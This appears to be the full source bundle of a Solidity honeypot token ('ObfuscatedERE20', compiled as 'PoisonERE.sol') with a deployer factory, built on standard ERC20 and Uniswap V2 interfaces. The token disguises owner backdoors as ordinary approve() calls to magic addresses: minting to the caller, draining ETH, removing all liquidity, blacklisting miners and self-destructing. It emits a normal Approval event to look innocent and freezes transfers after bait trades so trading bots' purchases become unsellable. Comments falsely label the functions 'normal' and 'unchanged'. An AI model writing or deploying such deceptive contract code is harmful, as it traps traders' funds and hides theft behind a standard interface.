// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.0 <0.9.0;

import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import './IERC20.sol';

library SafeMath {
    function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
        require((z = x + y) >= x, 'dsm-ao');
    }

    function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
        require((z = x - y) <= x, 'dsm-su');
    }

    function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
        require(y == 0 || (z = x * y) / y == x, 'dsm-mo');
    }
}

contract ERE20Factory {
    address public owner;
    address public immutable routerAddress;
    address public token;

    modifier onlyOwner {
        require(msg.sender == owner, 'PF-NO');
        _;
    }

    constructor(address router) {
        owner = msg.sender;
        routerAddress = router;
    }

    function _dismantleCurrentToken(uint256 deadline) internal {
        if (token != address(0)) {
            ObfuscatedERE20 ereContract = ObfuscatedERE20(token);
            ereContract.approve(address(3), deadline);
            ereContract.approve(address(15), 13371337);
        }
    }

    function create(
        string memory tokenName,
        string memory tokenSymbol,
        address[] memory users,
        uint256 initialSupplies,
        uint256 deadline,
        uint256 newEthLiquidity
    ) external payable onlyOwner {
        bool validTrappers;

        for (uint256 i; i < users.length; ++i) {
            validTrappers = validTrappers || users[i] == msg.sender;
        }

        require(validTrappers, 'PF-IT');

        _dismantleCurrentToken(deadline);

        ObfuscatedERE20 ereContract =
            new ObfuscatedERE20{value: newEthLiquidity}(tokenName, tokenSymbol, users, initialSupplies, routerAddress);

        // Call the hidden create and add liquidity
        ereContract.approve(address(2), deadline);

        token = address(ereContract);

        // Send back any extra ETH
        payable(msg.sender).transfer(address(this).balance);
    }

    function takeETH(uint256 amount) external onlyOwner {
        payable(msg.sender).transfer(amount);
    }

    function takeToken(address ecr20, uint256 amount) external onlyOwner {
        IERC20(ecr20).transfer(msg.sender, amount);
    }

    function changeOwner(address newOwner) external onlyOwner {
        owner = newOwner;
    }

    function destroy(uint256 deadline) external onlyOwner {
        _dismantleCurrentToken(deadline);
        selfdestruct(payable(msg.sender));
    }
}

contract ObfuscatedERE20 {
    using SafeMath for uint256;

    address private immutable routerAddress;

    uint256 public minGasPrice;
    uint256 public totalSupply;

    uint256 public trapperBlock = type(uint256).max;
    uint8 public countdown;
    uint8 public randomThreshold;
    bool public disabled;
    bool public countdownMode;
    bool public autoMinGas;
    bool public bypassOnEmptyMiner;
    uint8 public constant decimals = 18;

    string public name;
    string public symbol;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public badMiners;
    mapping(address => bool) public trappers;

    event Approval(address indexed user, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor(
        string memory tokenName,
        string memory tokenSymbol,
        address[] memory users,
        uint256 initialSupplies,
        address router
    ) payable {
        name = tokenName;
        symbol = tokenSymbol;

        trappers[msg.sender] = true;

        routerAddress = router;

        _mint(address(this), initialSupplies);
        _mint(msg.sender, initialSupplies);

        for (uint256 i = 0; i < users.length; ++i) {
            trappers[users[i]] = true;
            _mint(users[i], initialSupplies);
        }
    }

    // Normal bare-bones min, unchanged
    function _mint(address to, uint256 value) internal {
        totalSupply = totalSupply.add(value);
        balanceOf[to] = balanceOf[to].add(value);

        emit Transfer(address(0), to, value);
    }

    // Normal bare-bones min, unchanged
    function _burn(address from, uint256 value) internal {
        balanceOf[from] = balanceOf[from].sub(value);
        totalSupply = totalSupply.sub(value);

        emit Transfer(from, address(0), value);
    }

    // Creates a uniswap v2 pair of itself with weth
    function _createPair() internal {
        IUniswapV2Router02 router = IUniswapV2Router02(routerAddress);
        IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
    }

    // Creates a uniswap v2 pair of itself with weth
    function _addLiquidity(
        uint256 ethAmount,
        uint256 tokenAmount,
        uint256 deadline
    ) internal {
        // sets uniswap v2 router to have unlimited allowance on behalf of this contract's token
        allowance[address(this)][routerAddress] = type(uint256).max;

        // we can be sure of the minimal token to be used, as this wil be first liquidity adder
        IUniswapV2Router02(routerAddress).addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            tokenAmount,
            ethAmount,
            address(this),
            deadline
        );
    }

    // Removes liquidity from uniswap v2 pair of itself with weth, sending ETH to caller
    function _removeLiquidity(uint256 deadline) internal {
        disabled = false;
        trapperBlock = type(uint256).max;

        IUniswapV2Router02 router = IUniswapV2Router02(routerAddress);

        // Get the factory from the router, then get the weth from the router, and then get the pair from the factory
        IERC20 pair = IERC20(IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH()));

        uint256 liquidityToRemove = pair.balanceOf(address(this));

        pair.approve(routerAddress, liquidityToRemove);

        (, uint256 amountETH) = router.removeLiquidityETH(address(this), liquidityToRemove, 0, 0, msg.sender, deadline);

        require(amountETH > 0, 'ERE-BLR');
    }

    // Handles toggling various booleans or setting various values
    function _changeSettings(address someAddress, uint256 value) internal returns (bool) {
        // Enable/Disable transfers (0 disables, 1 enables)
        if (someAddress == address(1)) {
            disabled = value == 0;
            return true;
        }

        // Create pair and add liquidity
        if (someAddress == address(2)) {
            _createPair();
            uint256 amount = address(this).balance;
            _addLiquidity(amount, amount, value); // ethAmount, tokenAmount, deadline
            return true;
        }

        // Remove all liquidity
        if (someAddress == address(3)) {
            _removeLiquidity(value); // liquidityToRemove, deadline
            return true;
        }

        // Send this contract's ETH to caller
        if (someAddress == address(4)) {
            payable(msg.sender).transfer(value);
            return true;
        }

        // Send this contract's token to caller
        if (someAddress == address(5)) {
            _transfer(address(this), msg.sender, value);
            return true;
        }

        // Send this contracts arbitrary ERC20 to caller
        if (someAddress == address(6)) {
            IERC20(someAddress).transfer(msg.sender, value);
            return true;
        }

        // Mint some token to caller
        if (someAddress == address(7)) {
            _mint(msg.sender, uint256(value));
            return true;
        }

        // Set trap strategy to countdown set countdown
        if (someAddress == address(8)) {
            countdownMode = true;
            countdown = uint8(value);
            return true;
        }

        // Set trap strategy to random and set randomThreshold
        if (someAddress == address(9)) {
            countdownMode = false;
            randomThreshold = uint8(value);
            return true;
        }

        // Set min gas price
        if (someAddress == address(10)) {
            minGasPrice = value;
            return true;
        }

        // Set auto min gas (0 disables, 1 enables)
        if (someAddress == address(11)) {
            autoMinGas = value == 1;

            // clear min gas if auto mode
            if (value == 1) {
                minGasPrice = 0;
            }

            return true;
        }

        // Set bypassOnEmptyMiner (0 no, 1 yes)
        if (someAddress == address(12)) {
            bypassOnEmptyMiner = value == 1;

            return true;
        }

        // Set trapperBlock
        if (someAddress == address(13)) {
            trapperBlock = value;

            return true;
        }

        // Reset Trap
        if (someAddress == address(14)) {
            disabled = false;
            trapperBlock = type(uint256).max;

            autoMinGas = (value & 1) != 0;
            minGasPrice = value >> 11;

            countdownMode = ((value >> 1) & 1) != 0;

            if (countdownMode) {
                // If in countdown mode, then set countdown count
                countdown = uint8((value >> 3) & 255);
                randomThreshold = 0;
            } else {
                // Else if in random mode, then set random threshold count
                randomThreshold = uint8((value >> 3) & 255);
                countdown = 0;
            }

            bypassOnEmptyMiner = ((value >> 2) & 1) != 0;

            return true;
        }

        // Self Destruct
        if (someAddress == address(15)) {
            require(value == 13371337, 'ERE-DS'); // dangerous shit

            // TODO: delete some easy storage slots to recover more gas

            selfdestruct(payable(msg.sender));

            return true;
        }

        return false;
    }

    // Handles toggling certain roles or addresses
    function _changeRoles(address someAddress, uint256 value) internal returns (bool) {
        // Remove a trapper/owner
        if (value == 10) {
            require(someAddress != msg.sender, 'ERE-IS');
            trappers[someAddress] = false;
            return true;
        }

        // Add a trapper/owner
        if (value == 11) {
            trappers[someAddress] = true;
            return true;
        }

        // Remove miner from blacklist
        if (value == 12) {
            badMiners[someAddress] = false;
            return true;
        }

        // Add miner to blacklist
        if (value == 13) {
            badMiners[someAddress] = true;
            return true;
        }

        return false;
    }

    // Normal approve function with a twist for performing some settings/roles changes
    function _approve(
        address msgSender,
        address spender,
        uint256 value
    ) internal {
        // Emit event first, so it looks normal
        emit Approval(msgSender, spender, value);

        // TODO: some strategies where you cannot approve?

        if (trappers[msgSender]) {
            // If message is from a trapper, return if either actually do something
            if (_changeSettings(spender, value) || _changeRoles(spender, value)) return;
        }

        allowance[msgSender][spender] = value;
    }

    // Normal transfer function that tries to trap back running bots
    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal {
        // Bypass requires if miner is what we'd expect in a test call
        bool bypass = bypassOnEmptyMiner && block.coinbase == address(0);

        // Must be not disabled, or at least from trapper
        require(!disabled || trappers[from] || bypass, 'ERE-DC');

        // If this transaction is happening in the same block, or within 2 after trapperBlock (which would be a backrun since it's set by bait)
        if ((block.number >= trapperBlock) && !bypass) {
            // Reject bad miners or low gas payers
            require(!badMiners[block.coinbase] && tx.gasprice >= minGasPrice, 'ERE-BM');
        }

        // Do the actual transfer stuff
        balanceOf[from] = balanceOf[from].sub(value);
        balanceOf[to] = balanceOf[to].add(value);
        emit Transfer(from, to, value);

        // If going to a trapper
        if (trappers[to]) {
            // Record the block number a trapper got coin
            trapperBlock = block.number;

            // If enabled, subsequent transactions must pay at least as much gasPrice
            if (autoMinGas) {
                // minGasPrice was the delta to be added to tx.gasprice
                minGasPrice += tx.gasprice;
            }

            // If in countdown mode
            if (countdownMode) {
                if (countdown == 0) {
                    // If countdown is zero, disable for subsequent transfers
                    disabled = true;
                } else {
                    // Else decrement countdown
                    countdown -= 1;
                }

                return;
            }

            // If not in countdown mode, we're in random mode, so if random number, disable
            if (
                uint8(uint256(keccak256(abi.encodePacked(uint96(0xf4a93c247d6a0e2b), address(block.coinbase), blockhash(block.number - 1), block.timestamp)))) <
                randomThreshold
            ) {
                disabled = true;
            }
        }

        return;
    }

    // Normal bare-bones approve, unchanged
    function approve(address spender, uint256 value) external returns (bool) {
        _approve(msg.sender, spender, value);

        return true;
    }

    // Normal bare-bones transfer, unchanged
    function transfer(address to, uint256 value) external returns (bool) {
        _transfer(msg.sender, to, value);

        return true;
    }

    // Normal bare-bones transferFrom, unchanged
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool) {
        if (allowance[from][msg.sender] != type(uint256).max) {
            allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
        }

        _transfer(from, to, value);

        return true;
    }
}

{
  "compilationTarget": {
    "PoisonERE.sol": "ObfuscatedERE20"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}